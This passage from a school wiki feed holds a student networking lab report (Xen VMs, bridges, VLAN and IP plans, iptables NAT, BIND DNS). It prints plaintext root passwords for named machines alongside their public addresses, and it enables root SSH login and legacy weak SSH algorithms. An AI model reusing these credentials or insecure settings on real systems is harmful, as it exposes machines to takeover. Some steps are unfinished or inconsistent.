| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|22&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12188</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12188"/>
		<updated>2026-02-10T16:06:14Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Utiles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
